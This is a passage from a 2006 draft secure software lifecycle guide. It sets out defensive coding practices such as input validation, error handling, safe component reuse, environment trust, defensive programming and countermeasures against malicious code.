5.3.1.1. Minimizing Size and Complexity and Increasing Traceability

Secure code is efficient. It includes all of its required functions, along with robust input validation and exception
handling. It does not contain any unused functions. All unnecessary software should be removed from the source
code base before compilation. The smaller and simpler an applications code base is, the easier it will be to assure
the security of the application software.

Secure code implements its functions in the fewest possible lines of code. Using multiple small, simple, single-
function modules instead of one large, complex module that performs multiple functions will make the
application easier to understand and document, thus making it easier to verify the security and correctness of the
individual component and of the application as a whole. Object inheritance, encapsulation, and polymorphism are
all techniques that, when used correctly, can greatly simplify code. All processes should be written with only one
entry point and as few exit points as possible. To the extent possible, the application should also be implemented
with minimal interdependencies, so that any process module or component can be disabled when not needed, or
replaced if found to be insecure or a better alternative is identified, without affecting the operation of application
as a whole.

In code that implements security functions, trusted functions, critical functions, or otherwise sensitive functions
the number of defects in the code can be significantly reduced by reducing the size of the software modules that
implement those functions. Structured programming, avoidance of ambiguities and hidden assumptions, and
avoidance of recursions and GoTo statements that blur the flow of control are effective techniques for achieving
code simplicity and minimizing code size. Complex functions that require implementation as large software
modules should be divided into multiple smaller, simpler functions that can be implemented in simpler, smaller
software modules.

5.3.1.2. Coding for Reuse and Maintainability

Secure code is code that is inherently reusable. The features of code that make it reusable—simplicity,
comprehensibility, traceability—are the same features that help make it secure. To achieve code “elegance”, the
developer should first write a comprehensive code specification in language that is clear and direct enough to
enable another developer to easily take up coding where the first developer left off, or to later maintain the
software.

Never assume that source code is self-explanatory. All source code should be extensively commented and
documented, reviewed, and tested to ensure that other developers and maintainers will be able to easily
reuse or modify the code without introducing exploitable defects due to their incomplete or inaccurate
understanding of the code.

The main driver for reuse is the expense involved in custom (or bespoke) development of large “one-off”
applications. Unfortunately, reused software also has a history of falling short of expectations. Reusing source
code securely is particularly challenging due to the need for extensive security evaluations and reviews to
determine the suitability of a particular component (in terms of security properties and attributes and secure
interfaces and behaviors) when combined with components it was not originally designed to interact with. What complicates this further is the that most software that is reused was not expressly written to be reused. Instead of small, very flexible modules, the software reused most often are large, complex binary executables, especially applications such as Web browsers and servers and database management systems, the functioning and attributes of which reflect a very clear, inflexible set of usage and environment assumptions. Reusing such software in a way that satisfies security property and attribute requirements that do not conform with those original assumptions can be very challenging.

5.3.1.3. Using a Consistent Coding Style

A consistent coding style should be maintained throughout the application’s code base, regardless of how many developers are involved in writing the code. Coding style includes the physical appearance of the code listing in terms of its indentation and line spacing: the physical appearance of the code should be designed to make it easy for other developers and code reviewers to read and comprehend. The entire programming team should follow the same style guide. Coding style may be an evaluation criterion for open source software, particularly for software that will implement security functions or other trusted functions in the application. Trusted software likely to undergo code security reviews, and an clear, consistent coding style will make those reviews go more smoothly, thus easing the C&A of the software system.

5.3.1.4. Choose and Use Languages with Security in Mind

A programming language that supports good coding practices and has few inherent vulnerabilities is more likely to be used securely than a language with critical security defects or deficiencies. C and C++ are more difficult to use securely than Java, Perl, Python, C# and other languages that have embedded security-enhancing features such as built-in bounds checking, “taint mode”, and in some cases their own security model (e.g., the Java Virtual Machine [JVM], the C# Common Language Runtime [CLR]).

For software that is not performance-critical, the performance advantages of C/C++ should be weighed against the potential for buffer overflow risks. Avoiding buffer overflow is not even remotely the only concern for programmers. It is quite possible to write insecurely in languages with built in bounds checking, taint mode, and their own security model. In particular, input validation should be performed regardless of the language in which the application is written. While C and C++ are notoriously prone to buffer overflows, applications written in other languages may be susceptible to format string attacks, parameter tampering, command injection, cross-site scripting, and other compromises that exploit user input to the application. Regardless of the language used, all user input (including input from untrusted processes) should be validated.

All commands and functions known to contain exploitable vulnerabilities or otherwise unsafe logic should be avoided. None of the obscure, unfamiliar features of a language should be used unless (1) those features are carefully researched to ensure the developer understands all of their security implications; (2) the required functionality cannot be achieved in any other way.

Shell scripting languages, device languages, etc., should never be used in application-level software. “Escaping to shell” from within an application creates an interface that is much sought after by attackers, because it is an interface that gives the attacker a direct path to system-level functions, files, and resources. Instead of embedding shell script, device command strings, etc., in the application, the developer should use trustworthy APIs to the required system or device functions, data, or resources. If the developer uses an add-on library or file input/output library, the portion of the application that uses that library should be compartmentalized, and all of the application’s accesses to those libraries should be logged/audited.
5.3.1.5. Avoiding Common Logic Errors

Regardless of how careful a coding effort is, the resulting software program is virtually guaranteed to contain at least a few logic defects. Such bugs may result from design mistakes or deficiencies or from implementation errors (e.g., typos). Useful techniques for avoiding the most common logic defects include:

- **Input validation**: Input from users or untrusted processes should never be accepted by the application without first being validated to ensure the input contains no characteristics, or malicious code, that could corrupt the application or trigger a security exploit or compromise;

- **Compiler checks**: To ensure that correct language usage has been adhered to, and to flag “dangerous” language constructs, such as overflow-prone calls in C and C++. See Sections 6.2.1 and 6.2.3 for discussions of security-enhanced compilers and secure use of compilers.

- **Analysis to ensure conformance to specification**: For applications that require high assurance, this should be a formal analysis, with particular attention paid to the application’s conformance to its security requirements, both those specifying required security properties and behaviors, and those specifying required security functions and protections.

- **Type checking and static checking**: Both types of checks expose consequential (security-relevant) and inconsequential defects. The developer must then distinguish between the two, to ensure that he handles the security-relevant defects appropriately.

- **Logic modeling and comprehensive security testing**: Many logic errors cannot be identified effectively except through testing. Logic modeling provides the basis for developing appropriately comprehensive and revealing security test scenarios, test cases, and test oracles.

5.3.1.6. Using Consistent Naming

A common cause of security defects in application code is the use of aliases, pointers, links, caches, and dynamic changes without re-linking. To reduce the likelihood of such problems, developers should:

1. Treat aliases symmetrically every alias should be unique, and should point to only one resource);

2. Be cautious in use of dynamic linking, so as to avoid unpredictable behaviors due to runtime introduction of components;

3. Minimize use of global variables; when necessary, use globally unique names;

4. Clear caches frequently;

5. Limit variables to the smallest scope possible. If a variable is only used within a single function or block, that variable should be declared, allocated, and deallocated within that function or block;

6. Deallocate objects as soon as they are no longer needed. If they will be needed again later, they can be reallocated at that time. Use language idioms to automatically enforce this convention, e.g. RAII (Resource Acquisition Is Initialization) in C++.

5.3.1.7. Using Correct Encapsulation

Incorrect encapsulation can expose the internals of software procedures and processes by revealing (leaking) sensitive information or externally inducing interference. Correct encapsulation is achieved through a combination of:
Security in the Software Lifecycle

Version 0.8 | 9 January 2006

• Effective system architecture;
• Effective programming language design;
• Effective software engineering;
• Static checking;
• Dynamic checking;
• Effective error handling, with generic (uninformative) error messages sent to the user, while full error information is logged.

5.3.1.8. Achieving Asynchronous Consistency

Timing and sequencing errors, such as order dependencies, race conditions, synchronization, and deadlocks, can threaten secure execution of the application. Many timing and sequencing errors are caused by sharing of state information (particularly realtime or sequence order information) across otherwise disjoint abstractions.

NOTE: Disjoint abstractions are abstractions, such as classes in object oriented applications that are unrelated in any way and possibly in conflict.

An example of a related abstraction is “circle and ellipse”. Both objects are round geometric shapes. By contrast, a class named “CustomerTable” in an object-oriented database application is a disjoint abstraction, because “customer” and “table” are objects that have nothing in common.

The dissimilarity of two objects in a disjoint abstraction may result in a conflict when the two attempt to interact. For example, a timing or sequence conflict may occur when one object is programmed to operate inconsistently with the other, so that their attempt to interact causes an error. If despite their conflict, the application is written to establish a dependency between the two objects, the result is a synchronization or sequencing error that may prove to be exploitable by an attacker, or may cause the application to fail suddenly (“crash”) into an insecure state (For example, a state that causes the software to core dump sensitive data held in memory, or that causes the failure of a component relied on to protect the security of other components without also gracefully terminating those components). To avoid sequencing and synchronization errors in software:

• Make individual transactions atomic (non-interdependent).
• Use multiphase commits for data “writes”.
• Use hierarchical locking to prevent simultaneous execution of processes.

5.3.1.9. Safely Multitasking and Multithreading

Unless the application runs on a multiprocessor host, its processes should be single-threaded, that is, they should perform only one task or function at a time. Even when multitasking and/or multithreading is used in programs that run on operating systems that support multitasking and multithreading can improve the application’s performance, that multitasking/multithreading can also increase the application’s complexity, making the correctness and security of its behaviors difficult to analyze and verify. Multitasking also increases the likelihood of deadlocks, which occur when two tasks or threads both stop executing at the same time, each waiting for the other to release a resource or terminate.

If a program performs multitasking or multithreading, the code reviewer should carefully analyze its operation to ensure that its simultaneous processing of tasks and threads does not create conflicts in the usage of system resources such as memory or disk addresses. All tasks and threads should be synchronized to prevent such
conflicts. As with all structured programs, each task should contain only one entry point and one (or very few) exit point(s).

5.3.1.10. Implementing Adequate Fault (Error and Exception) Handling

Robust software often contains more error- and exception-handling functionality than program functionality. Error and exception handling can be considered secure when the goal of every error and exception handling routine is to ensure that all faults are handled in a way that prevents the software from entering an insecure state. The application should include security-aware error and exception handling capabilities, and should perform validation of all inputs it receives—including inputs from the environment—before using those inputs. Input validation will go along way towards preventing DoS, for example DoS resulting from buffer overflows in software written in, or interfacing with libraries written in, C or C++.

The software’s error and exception handling should be designed so that whenever possible, the software will be able to continue operating in a degraded manner (in terms of reduced performance or number of new inputs/connections accepted) until a threshold is reached that triggers an orderly, secure termination of the software’s execution. The software should never throw exceptions that allow it to crash and dump core memory, or leave its caches, temporary files, etc., accessible by an attacker.

5.3.2. Security of Software Systems Built from Reused and Acquired Software Components

A software system assembled/integrated from reused and acquired components must still be expressly designed to satisfy its functional and non-functional security requirements and to demonstrate its required security properties. It must then be implemented to conform to that design. A component-based software system that does not conform to its specifications, regardless of how well it is engineered, is both incorrect and insecure by definition.

Given that multiple components are likely to exist that can satisfy the specified requirements for certain portions of a software system, a number of integration/assembly options may need to be modeled to provide a framework in which the candidate components can be combined in order to determine which of those combinations best satisfies the whole-system requirements. The subset of candidate components can then be selected and integrated/assembled according to the modeled integration/assembly framework that is the most consistent with the requirements specification, given the actual components to be used.

Use of acquired or reused software components directly and iteratively influences the software system’s architecture and design in the following ways.

1. Integration/assembly options must be based on explicit and implicit assumptions about how a given component will interact with other components. Components often depend on other components (and even on specific versions of other components) for their successful operation. The suppliers of binary components (commercial-off-the-shelf [COTS], government-off-the-shelf [GOTS], shareware, freeware, and legacy) virtually always retain the data rights to the components’ source code, and intend for the components to be used without modification. Such binary components must be approached as “black boxes” whose functions, properties, and interfaces can only be changed through reconfiguration (to the extent supported by the component) or by external means (filters, firewalls, wrappers, etc.).

2. Designers need to recognize that each component’s supplier is likely to put competitive advantage far ahead of security considerations when it comes to scheduling and content of new component releases. Specifically, in prioritizing and determining which discovered/reported security vulnerabilities will be patched, the supplier is most likely to focus on those vulnerabilities for which the patch is less costly, and the impact—in terms of reducing intensity or duration of negative publicity—is highest.
3. Recognizing that as soon as a component is selected for use in the software system, the security of the software system is, at least in part, at the mercy of the components’ suppliers’ priorities and security decisions, the designer of the application needs to make sure the selected integration/assembly option is flexible enough to easily accommodate not only new versions of current components, but substitution of one supplier’s component for another, reconfiguration of components, or insertion of countermeasures to mitigate security defects that may be introduced by new component versions or discovered vulnerabilities not addressed by the suppliers. Ideally, the design will reflect component roles in the software system and standard interfaces, rather than specific products and proprietary interfaces.

A key assumption throughout this document is that software components have inherent security properties. This has particular implications for multi-purpose software systems, such as web services. Web services are an example of a software application that will be used in multiple instances, each of which may have a different set of security requirements. In order to operate effectively, the web service will need to possess all of the security properties and capabilities required for each of the instances in which it will operate. For a service-oriented architecture to work, then, it will be necessary to delay the binding of security decisions within the web service until runtime, in order to minimize the “hard coding” of security properties and policy decisions that will prevent the web service from adapting to the needs of the different operational instances under which it must run.

5.3.2.1. Selection of Secure Components

It is critical that the application developer’s understanding of a component’s security properties is not excessively influenced by or wholly reliant on a supplier’s claims for a product. A critical focus of the system engineering process, then, must be the thorough and accurate security evaluation of all acquired or reused software, including commercial and open source components, to ensure not only that they do not include defects, misbehaviors, or other vulnerabilities that could be exploited to compromise the security of the application, the data it “touches”, or its execution environment. A typical component security evaluation should include the following steps:

1. Establishing the functional and security design constraints that should be used to narrow the range of possible components to be evaluated;

2. Selecting a methodology by which design tradeoffs can be quantified so that a metric of the component’s fitness for secure use can be computed;

3. Determining, through analysis and testing, which of the candidate components best satisfies the requirements for the security properties/attributes and associated functions required for that component to perform its role in the larger software system/application;

4. Determining, through security analysis, testing, and prototyping of candidate integration/assembly options, which components behave the most securely, when combined with the others;

5. Selecting the most secure individual components and integration/assembly option, and adjusting the architecture and design accordingly.

The security functions and properties/attributes of acquired or reused components reflect certain implicit and sometimes explicit assumptions made by that software’s supplier, including assumptions about the original supplier’s specification of security requirements for the component, the operational contexts in which it is expected to be used, and the presumed business processes of its users. The supplier’s assumptions rarely match 100% the security requirements, contexts, and operational processes (current or anticipated) of the role the software is intended to fill in the integrated/assembled application.

Much of the selection process for acquired or reused software should focus on determining and mitigating the impact of conflicts between supplier assumptions and integrator assumptions. This may entail adjusting the security expectations and operational processes of the integrated software system’s intended users and
stakeholders to accommodate the ability to use a desirable acquired or reused component for which a conflict arises between its supplier’s assumptions and its users expectations.

### 5.3.2.2. Secure Integration/Assembly of Components

During the implementation phase, those elements of the design that are to be implemented through from-scratch development may be translated into a machine-readable format using a code generation tool, or may simply be used as a frame of reference for coding from scratch. All programming tools (compilers, interpreters, debuggers, and automatic code generators) will be selected with an eye towards simplifying the assurance of the software’s required security properties and, conversely, minimizing risk that the tools themselves will introduce vulnerabilities into the software produced by them. The programming language(s) to be used will be selected with similar considerations in mind.

Common wisdom suggests that a particular security property or attribute should hold true in a component assembly as long as all of the individual components exhibit that property/attribute. It is commonly believed that the security properties of a component assembly are necessarily derived from the security properties of the assembly’s least secure component(s). In reality, it is not necessary for the least secure components to dictate the security property of the assembly as a whole. Component assembly/integration techniques, such as sandboxing during the execution of an insecure component, can be used to isolate that component and prevent its vulnerabilities from affecting the security properties of the other components and the whole assembly. For example, if Component A suffers from potential buffer overruns, a new Component B can be created the sole purpose of which is to provide an interface to the functionality of Component A for use by all other components. Once Component B was established, all direct interactions between other components and Component A would be disallowed or disabled.

There should be ongoing analysis throughout the integrated/assembled system’s lifetime to assure that its security requirements remain adequate, and that it continues to satisfy those requirements correctly and completely even as acquired or reused components are patched, updated, and replaced. See Section 5.7.1 for more information on secure configuration management of software containing acquired or reused components.

### 5.3.3. Reused and Acquired Software Influences on from-Scratch Software

As demonstrated in Figure 5-1, software built from scratch is never 100% unaffected by acquired or reused components (there are a small number of exceptions, such as some small high-consequence embedded systems that incorporate their own operating systems, and are developed entirely using custom-developed tools, including specially built compilers and debuggers). No matter how much rigor and care was applied to the coding of the software itself, any of the acquired or reused components or tools involved in its development or execution could introduce vulnerabilities into the software or its environment, at compile time, during installation, or at runtime.

Assuring the security of acquired and reused components in the software’s development environment, including all development tools, interfaces, and libraries, and in the software’s execution environment, is critical to assuring the security of the software itself. For this reason, code security review alone is never sufficient to assuring the security of from-scratch software; security testing must also include techniques that enable the tester to exercise and observe the behavior of the software running in its target operating environment.
Critical software anomalies, many of which have significant security implications, usually result from incorrect assumptions about the software’s execution environment, or from a misunderstanding of the interfaces between the software and its environment. Environmental uncertainties can complicate the developer’s ability to correctly identify the point in processing at which the software entered an insecure state, and can make it difficult to determine what adjustments are needed to the software’s operation to return it to a secure state. The precise understanding of the software’s environment during all of the software’s potential states—including normal operation, operation under attack, and operation during partial or complete environment failure and partial or complete software failure—is also critical for developing realistic software security test cases and scenarios.

The software must be able to effectively respond to changes in its execution environment without becoming vulnerable to compromise. For example, if the software relies on an application-layer firewall to filter out potentially dangerous input, and that firewall fails, the software should be able to detect that failure and immediately begin rejecting all new input until the firewall is again detected to be operational.

No matter how accurate his original assumptions about the execution environment, the developer should also implement the software that relies on environment components for security services or protections not by hard-coding the software’s interfaces (including the formats of inputs it expects and outputs it produces) to those environment components, but instead by defining interfaces that can be reconfigured, modified, or substituted at compile-time or runtime. That way, if any environment component relied on by the software is replaced, or the software itself is moved to a different execution environment, such changes could be easily accommodated without introducing unanticipated vulnerabilities into the software.

Formal methods can provide a common vocabulary through which software developers and systems engineers can communicate about the execution environment in which the application will operate. Executable specifications for rapid prototyping, especially those with a user-manipulated interface, can enable the developer to explore his assumptions about the execution environment, and can reveal unrecognized security requirements for the
application/environment interfaces. The following are specific considerations that will help ensure secure
interaction between software and its execution environment.

5.3.4.1. Relying on Environment-Level Components to Achieve Application-Level Security
Functions and Properties

By providing certain security services—such as public key encryption and digital signature, virtual machine
sandboxing, application firewall filtering and proxying, process/data isolation by file system access controls,
etc.—the software’s execution environment (middleware, operating system, hardware platform, and network
infrastructure) is often relied on to enable or augment the software’s own self-protecting features.

For example, in a web application, Secure Socket Layer (SSL) or Trusted Layer Security (TLS) encryption at the
transport layer may be invoked by the application through the use of the HyperText Transmission Protocol-Secure
(HTTPS) protocol to create an encrypted session “pipe” over which the client can transmit user supplied entries
into an HTML form to a web server application. Moreover, an application-layer firewall may intercept that data
on route from client to server, in order to perform input validations on the data, either to augment input validation
in the server by filtering out some of the bad data the server would otherwise receive or, in the case of a deficient
acquired or reused (including legacy) server component, to compensate for that server’s inadequate (or
nonexistent) input validation.

As noted earlier, however, even if environment-level components are relied on by an application to perform
security functions on its behalf, or to protect it from attack, the application itself should include sufficient error
and exception handling to prevent it from entering an insecure state or having its security properties otherwise
compromised should any of the relied-on environment components fail. Without such error and exception
handling, such compromises are highly likely given the likelihood of the application’s vulnerabilities becoming
exposed in the absence of the environment-level protections.

5.3.4.2. Separation of Data and Program Control

Data files created by the application should be stored in a completely separate location in the file system from
programs executed by (or within) the application. If the application must accept mobile code, mobile agents, or
other programs that are remotely downloaded to it, the developer should implement a very restrictive constrained
execution environment (e.g., sandbox) for that downloaded code to prevent it from accessing other areas of the
execution environment, or the application’s data files or binary executables.

Auto-executing macros should never be embedded in files created by the application unless those macros have
first been thoroughly tested to verify that they do not change the security posture of the application execution
environment or gain unauthorized access to its data. As with mobile code, embedded macros should be limited to
execution within a constrained environment.

Constraint of the execution environment alone should not be relied upon to protect software, its data, and its
environment from malicious code. The executable(s) should be stored in a dedicated, tightly access-controlled
directory (on a web server, a hidden directory, to minimize the likelihood of a successful directory traversal
attack). This “executables directory” should be strictly isolated from the data directory. Then, if an attack
manages to breach the access controls on either directory, the other directory will not be affected. Segregation of
executables from data also makes it easier to cache and reuse those executables.

In the instance of high-consequence software, it may make sense to encrypt the executable(s), and to call a trusted
decryption function upon the initiation of the software startup routine.
5.3.4.3. Providing Trustworthy Environment Data

Security is more easily achieved for applications that run within application frameworks that have been verified to provide only trustworthy environment data. For example, J2EE components run within “contexts” (e.g., System Context, Login Context, Session Context, Naming and Directory Context, etc.) that can be relied on to provide only trustworthy environment data to Java applications at runtime.

Even if a framework isn’t used, file system access controls can be configured to protect the configuration data stored locally with the application. Only the administrator should be granted write and delete privileges to that configuration data, while read privileges are limited to the administrator and the application itself. No other actor ever requires access to application configuration data. (Noteworthy exception: Client-side users may need to be granted at least a subset of administrator privileges for their own client systems.) If file system access controls alone are not sufficient to protect application configuration files, those files may be stored in encrypted form, and the application extended to invoke the necessary decryption service whenever it needs to reference the files (e.g., at start-up time).

The application’s configuration information may also be stored remotely, on a trusted server elsewhere on the network (e.g., in the Lightweight Directory Access Protocol [LDAP] directory from which a public key-enabled application retrieves certificates and public keys). The application’s requests to access that remote directory should be sent only via an encrypted (e.g., SSL/TLS) connection. However, if this directory approach is used with applications that are likely to be cloned, the configuration data should not be copied directly from the application to the directory. Instead, the application should be prevented from returning its configuration data to the remote directory over the same communications path by which it earlier retrieved the configuration data from that directory. If the application requires readback verification of the configuration data it receives, the data and/or connection should be encrypted to prevent the cleartext version of the data from being “sniffed” in transit.

NOTE: Cloning is the act of creating an identical copy of the existing application system, including the application itself and its execution platform. Cloning may be performed to create or refresh a test system to ensure it is identical to the production system, before testing software updates. Cloning may also be performed to move an existing application to a new machine, or to duplicate it on another machine(s). Cloning is more than simple copying of the application executable. The cloning process also updates all of the application’s configuration files to accommodate its hosting on the new platform. Be aware that cloning private cryptographic information (such as private X.509 certificates) may result in possible security vulnerabilities. If possible, new private cryptographic information should be created for the clone.

5.3.4.4. Presuming Client Environment Hostility

Always assume that a client application will run in the most hostile execution environment possible. Browsers and other client applications cannot be trusted to perform security-critical functions, because they are too easily reconfigured, corrupted, and extended by the client’s users. Server applications, portals, and proxy agents that interact with client applications should be implemented to protect themselves against attacks from clients subverted by malicious “insiders” or hijacked/spoofed by external attackers.

5.3.4.5. Safe Interfaces to Environment Resources

Nearly every programming and scripting language allows application-level programs to issue system calls in order to pass commands or data to the underlying operating system. In response to such calls, the operating system executes command indicated by the system call, and returns the results to the application along with various return codes that indicate whether the requested command was executed successfully or not.

While system commands may seem like the most efficient way to implement an application’s interface to the underlying operating system, a secure application will never issue a direct call to the underlying operating system, or to system-level network programs such as Sendmail or File Transfer Protocol (FTP). Not only does each
application call to a system-level function create a potential target for attack, whenever a system call is issued by the application, the homogeneity of the application’s design is reduced, and its reliability diminishes.

Applications should only call other application-layer programs, middleware, or explicit APIs to system resources. This excludes APIs intended for users rather than programs. Applications should never rely on a system-level tool (vs. an application-level program) to filter/modify their output.

All application references to system objects should be made securely. For example, application call-outs and filename references should specify the full pathname of the system resource being called/the file being referenced, e.g., /usr/bin/sort rather than ../../sort. Using full pathnames eliminates the possibility that the application may call the wrong program, or execute from the wrong directory, for example, a directory in which a Trojan horse program may be stored at the location where the application expects to find a valid program.

See Section 5.5.9 on developing the installation configuration documentation for the software for a discussion of information about the software’s required environment configuration to be included in that documentation.

5.3.5. Available Software is Robust Software

Robust software does not simply operate correctly, but cannot be easily induced to fail. When an application performs unexpected actions, such actions could not only result in a critical fault (a failure), but they may violate the application’s security specification in a way that makes the application vulnerable to compromise. Robust programming requires the software’s behaviors to fall within the bounds of its design specification, regardless of the nature of its execution environment or the input it receives. Robust programming adheres to four principles, described in the sections below.

5.3.5.1. Defensive Programming

Defensively programmed software is software that:

1. Does not rely on any parameters that are not self-generated;
2. Assumes that attempts will be made to subvert its behavior, directly, indirectly, or through manipulation of the application to violate a security policy.

All application software processes should expect and be able to handle the problems listed in Table 5-1 below.
Table 5-1. Software Errors or Faults and Suggested Remediations

<table>
<thead>
<tr>
<th>Expected Problem</th>
<th>How the Software Should Handle the Problem</th>
</tr>
</thead>
<tbody>
<tr>
<td>All input and parameters received by the software will be faulty or corrupt.</td>
<td>The software should validate all inputs and parameters are validated before use to filter out those that are incorrect, bogus, or malformed.</td>
</tr>
<tr>
<td>The execution environment differs significantly from the environment for which the software was designed (a frequent problem with acquired and reused software).</td>
<td>Hidden assumptions should be recognized, and the software should be designed to defend against attempts to exploit such assumptions to force its components to behave insecurely.</td>
</tr>
<tr>
<td>The results the software receives from any other component or function it calls will contain at least one error.</td>
<td>The software should be designed and implemented to handle unexpected and unlikely, even presumably “impossible”, events. All possible errors and exceptions should be anticipated.</td>
</tr>
<tr>
<td>The software contains vulnerabilities, not all of which will be identified before the software is deployed.</td>
<td>The software should be designed and implemented to contain and limit the damage that could be caused by vulnerabilities in any of its components. It should provide feedback to the developer (during debugging and testing) and the administrator (during operation) to assist in their rapid detection of such vulnerabilities.</td>
</tr>
</tbody>
</table>

These objectives are particularly important when developing code that will be combined (as in a library), used in a variety of contexts (as with system calls), or downloaded (as with mobile code).

5.3.5.2. Information Hiding

Information hiding and information abstraction provide well-defined interfaces through which the software can access the information and functions while concealing the specifics of the implementation of the data structures and functions from the program. Information hiding and abstraction are an implementation of the principle of least privilege. Software should not be granted privileges that enable it to access library routine internals that are expected to remain consistent across calls, because the software would then be able to alter those routine internals without using the library’s interfaces.

By preventing the software from accessing library internals directly, an extra layer of defense is introduced into the software. For example, given a library that uses a pointer to an internal data structure representing a file, if the calling software is able to access the data in that structure by simply dereferencing the pointer, the software could accidentally (or deliberately) modify the data in that data structure and, thus, cause the library functions to fail. Robust library functions should never return pointers or indices into arrays that the calling software could use to access internal data directly. Instead, the library functions should hide the true pointers or indices in a token. Hiding data structures also has the benefit of making the software or library more modular.

5.3.5.3. Assuming the Impossible

Events that seem to be impossible rarely are. They are often based on an expectation that something in a particular environment is highly unlikely to exist or to happen. If environment changes or the program is installed in a new environment, those events may suddenly become quite likely.

The use cases and scenarios defined for the program need to take the broadest possible view of what is possible. The software should then be designed to guard against both likely and unlikely events. Developers should make an effort to recognize assumptions they are not initially conscious of having made, and should determine the extent to which the “impossibilities” associated with those assumptions can be handled by the software.
5.3.5.4. Anomaly Awareness

In most distributed applications, components maintain a high level of interaction with each other. Inaction (i.e., lack of response) in a particular component for an extended period of time, or receipt from that component of messages that do not follow prescribed protocols, should be interpreted by the recipient as abnormal behavior. All application components should be designed or retrofitted to recognize abnormal behavior patterns that indicate possible DoS attempts. This detection capability can be implemented within software developed from scratch, but must be retrofitted into acquired or reused components (e.g., by adding anomaly detection wrappers to monitor the component’s behavior and report detected anomalies).

Early detection of the anomalies that are typically associated with DoS can make containment, graceful degradation, automatic fail-over, and other availability techniques possible to invoke before full DoS occurs. While anomaly awareness alone cannot prevent a widespread DoS attack, it can effectively handle isolated DoS events in individual components, as long as detected abnormal behavior patterns correlate with anomalies that can be handled by the software as a whole.

5.3.6. Making Software Resistant to Malicious Code

Several techniques and host-based tools can be used by developers to make their software more resistant to infection and corruption by malicious code. These techniques fall into four categories—(1) environment countermeasures, (2) add-on countermeasures, (3) programmatic countermeasures, and (4) development tool countermeasures—each of which is described below.

1. **Environment countermeasures**: These are usually runtime countermeasures implemented in the execution environment, such as:

   - Access control-based constraint mechanisms that prevent malicious code from being introduced into a system, intentionally or unintentionally, by users. An example is a *chroot* “jail” on a Unix or Linux system;

   - Constrained execution environments that minimize the scope of damage that malicious code and other untrusted processes can affect, if it does manage to enter the system. An example is to run all untrusted programs within a virtual machine (VM). The VM is, in fact, a standard feature of Java, which executes all untrusted programs within the JVM, in effect “sandboxing” those programs so that they cannot directly access the application’s trusted programs or resources. A VM can rely on specific resources (memory, hard drive space, virtual network interface, etc.) that it can access directly, but it is completely unable to affect the programs and resources that reside outside the VM. Section 6.2.6 describes various types of host platforms that implement constrained execution environments;

   - Program shepherding, to monitor control flow transfers, prevent execution of malicious data or modified code, and to ensure that libraries are entered only through exported entry points (thus, restricting control transfers based on instruction class, source, and target). Program shepherding also provides sandboxing that cannot be circumvented, allowing construction of customized security policies;

   - Altered program memory maps: Each page in a computer system’s memory has a set of permission bits describing what may be done with the page; the memory management unit of the computer, in conjunction with the kernel, implements these protections. The countermeasure is implemented by modifying the default protection bits applied to a program’s stack, and, additionally, other memory regions. It requires no changes to the protected programs and is a useful first line of defense. If it is successful in thwarting an exploit, the vulnerable program will...
cause a protection fault and terminate. This mechanism has no performance impact on the
protected programs themselves, but may incur overhead within the operating system. As it
requires a modification to the operating system, this protection is not portable. Please also note
that altering program memory maps only protects the stack, not the heap or program data;

- Monitoring and filtering to detect and prevent undesirable state changes in the execution
environment. Such filtering will help identify suspicious state changes in the application’s
execution environment by taking “snapshots” of key environment attributes before and after
executing untrusted software (e.g., mobile code) that may contain malicious logic, and monitoring
unexpected differences in environment state during the program’s execution. Such state changes
are often the earmarks of malicious code attacks. One approach entails the following actions:

1. Configure a filtering router to pass traffic between a test system, on which is hosted the
application and its intended execution environment, and the network.

2. Install network analysis tools on the filtering router.

3. Snapshot the application’s execution environment to develop a detailed picture of its
known, trusted behavior.

4. Disconnect or isolate the test system from the network.

5. Install the untrusted program suspected to contain malicious code;

6. Record and analyze all changes in environment behavior during the untrusted program’s
execution. If the tester determines that all recorded changes to the environment and
application states are neither unauthorized nor unexpected, it can be reasonably
concluded that the particular untrusted software is “safe”.

2. **Add-on countermeasures**: May be added onto the program at development time or runtime, e.g., in the
form of wrappers, plug-ins, etc. Add-on countermeasures include:

- Code signatures to provide validated evidence that the code came from a trustworthy source.
Code signing helps protect application programs by enabling the user or process that will execute
the code to verify where the code came from and whether the code has been modified (i.e.,
tampered or corrupted) from its original state. Note that, while code signatures make it possible to
verify that an program comes from a trusted source in an uncorrupted form, it cannot guarantee
that the code wasn’t malicious to begin with, or is otherwise error-free;

- Code expressly designed to prevent the exploitation of covert channels by communicating
program components;

- Filtering of system calls: A monitoring program is implemented that requires system calls
invoked by an untrusted program to be inspected and approved before being allowed to continue.
The monitor program makes decisions about the validity of system calls by knowing in advance
what the untrusted program is supposed to do, where it is expected to manipulate files, whether it
is expected to open or listen to network connections, and so on. Valid behavior of the untrusted
program is coded in a profile of some kind, which is referenced when the untrusted program
executes. This defense, though, will affect the performance of programs run under the watch of a
monitor but will not affect other programs.
3. **Programmatic countermeasures:** Techniques and mechanisms built into the program itself at development time, including:

- Input and output (I/O) controls that detect and filter potentially malicious input: An example of such controls are the input validation routines that verify proper data types, syntax, and input lengths, in order to prevent buffer and stack overflows and command injection attacks;

- Implementation of security checkpoints within the program that cannot be bypassed by users;

- **Development tool countermeasures:** Use of specific tools, or use of specific techniques with general development tools, in the development of software can help reduce the risk of malicious code insertions into that software at runtime. These countermeasures include:

  - Use of only type-safe programming languages such as Java, Scheme, ML (MetaLanguage), or F#: Such type-safe languages ensure that operations are only applied to values of the appropriate type. Type systems that support type abstraction let programmers specify new, abstract types and signatures for operations that prevent unauthorized code from applying the wrong operations to the wrong values. In this respect, type systems, like software-based reference monitors, go beyond operating systems in that they can be used to enforce a wider class of application specific access policies. Static type systems also enable offline enforcement through static type checking instead of each time a particular operation is performed. This lets the type checker enforce certain policies that are difficult with online techniques. Section 6.2.2 provides additional discussion of secure programming languages;

  - Use of “safe” versions of libraries and languages designed to help avoid problems with buffers, pointers, and memory management. Safestr in C, for instance, provides a consistent and safe interface to string-handling functions, the root of many security vulnerabilities. However, it requires some effort to recode any string handling that the program may do, converting it to use the new library. If the program is put into a particularly high-risk situation (a machine without a firewall, processing sensitive data), it may be prudent to consider porting or implementing the program in a language that include their own security models and self-protecting features (e.g., Java, Scheme, CAML), and not using C or C++ at all;

  - Use of “hardened” versions of system calls: Since all programs must use system calls to transfer data, open files, or modify file system objects, limiting the system calls that a program is able to invoke allows untrusted programs to execute while limiting the damage they can do. Kernel-loadable modules, on systems that support them, can be used to extend the protections surrounding untrusted programs, limiting further the damage that can be done by a subverted program;

